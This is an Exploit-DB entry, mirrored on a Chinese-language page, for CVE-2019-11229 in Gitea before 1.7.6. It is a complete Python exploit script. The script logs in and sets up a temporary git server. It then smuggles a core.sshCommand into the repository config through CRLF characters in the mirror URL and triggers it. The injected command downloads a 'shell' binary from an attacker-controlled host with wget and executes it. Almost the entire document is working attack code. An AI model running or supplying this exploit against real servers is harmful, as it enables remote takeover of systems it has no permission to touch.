Gitea 1.7.5 – Remote Code Execution

  • 作者: 1F98D
    日期: 2021-01-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49383/
  • # Exploit Title: Gitea 1.7.5 - Remote Code Execution
    # Date: 2020-05-11
    # Exploit Author: 1F98D
    # Original Author: LoRexxar
    # Software Link: https://gitea.io/en-us/
    # Version: Gitea before 1.7.6 and 1.8.x before 1.8-RC3
    # Tested on: Debian 9.11 (x64)
    # CVE: CVE-2019-11229
    # References:
    # https://medium.com/@knownsec404team/analysis-of-cve-2019-11229-from-git-config-to-rce-32c217727baa
    #
    # Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings,
    # leading to authenticated remote code execution.
    # 
    #!/usr/bin/python3
    
    import re
    import os
    import sys
    import random
    import string
    import requests
    import tempfile
    import threading
    import http.server
    import socketserver
    import urllib.parse
    from functools import partial
    
    USERNAME = "test"
    PASSWORD = "password123"
    HOST_ADDR = '192.168.1.1'
    HOST_PORT = 3000
    URL = 'http://192.168.1.2:3000'
    CMD = 'wget http://192.168.1.1:8080/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell' 
     
    # Login
    s = requests.Session() 
    print('Logging in')
    body = { 
    'user_name': USERNAME, 
    'password': PASSWORD 
    }
    r = s.post(URL + '/user/login',data=body)
    if r.status_code != 200: 
    print('Login unsuccessful')
     
    sys.exit(1)
    print('Logged in successfully')
    
    # Obtain user ID for future requests
    print('Retrieving user ID')
    r = s.get(URL + '/')
    if r.status_code != 200:
    print('Could not retrieve user ID')
    sys.exit(1)
    
    m = re.compile("<meta name=\"_uid\" content=\"(.+)\" />").search(r.text)
    USER_ID = m.group(1)
    print('Retrieved user ID: {}'.format(USER_ID))
    
    # Hosting the repository to clone
    gitTemp = tempfile.mkdtemp()
    os.system('cd {} && git init'.format(gitTemp))
    os.system('cd {} && git config user.email x@x.com && git config user.name x && touch x && git add x && git commit -m x'.format(gitTemp))
    os.system('git clone --bare {} {}.git'.format(gitTemp, gitTemp))
    os.system('cd {}.git && git update-server-info'.format(gitTemp))
    handler = partial(http.server.SimpleHTTPRequestHandler,directory='/tmp')
    socketserver.TCPServer.allow_reuse_address = True
    httpd = socketserver.TCPServer(("", HOST_PORT), handler)
    t = threading.Thread(target=httpd.serve_forever)
    t.start()
    print('Created temporary git server to host {}.git'.format(gitTemp))
    
    # Create the repository
    print('Creating repository')
    REPO_NAME = ''.join(random.choice(string.ascii_lowercase) for i in range(8))
    body = {
    '_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
    'uid': USER_ID,
    'repo_name': REPO_NAME,
    'clone_addr': 'http://{}:{}/{}.git'.format(HOST_ADDR, HOST_PORT, gitTemp[5:]),
    'mirror': 'on'
    }
    r = s.post(URL + '/repo/migrate', data=body)
    if r.status_code != 200:
    print('Error creating repo')
    httpd.shutdown()
    t.join()
    sys.exit(1)
    print('Repo "{}" created'.format(REPO_NAME))
    
    # Inject command into config file
    print('Injecting command into repo')
    body = {
    '_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
    'mirror_address': 'ssh://example.com/x/x"""\r\n[core]\r\nsshCommand="{}"\r\na="""'.format(CMD),
    'action': 'mirror',
    'enable_prune': 'on',
    'interval': '8h0m0s'
    }
    r = s.post(URL + '/' + USERNAME + '/' + REPO_NAME + '/settings', data=body)
    if r.status_code != 200:
    print('Error injecting command')
    httpd.shutdown()
    t.join()
    sys.exit(1)
    print('Command injected')
    
    # Trigger the command
    print('Triggering command')
    body = {
    '_csrf': urllib.parse.unquote(s.cookies.get('_csrf')),
    'action': 'mirror-sync'
    }
    r = s.post(URL + '/' + USERNAME + '/' + REPO_NAME + '/settings', data=body)
    if r.status_code != 200:
    print('Error triggering command')
    httpd.shutdown()
    t.join()
    sys.exit(1)
    
    print('Command triggered')
    
    # Shutdown the git server
    httpd.shutdown()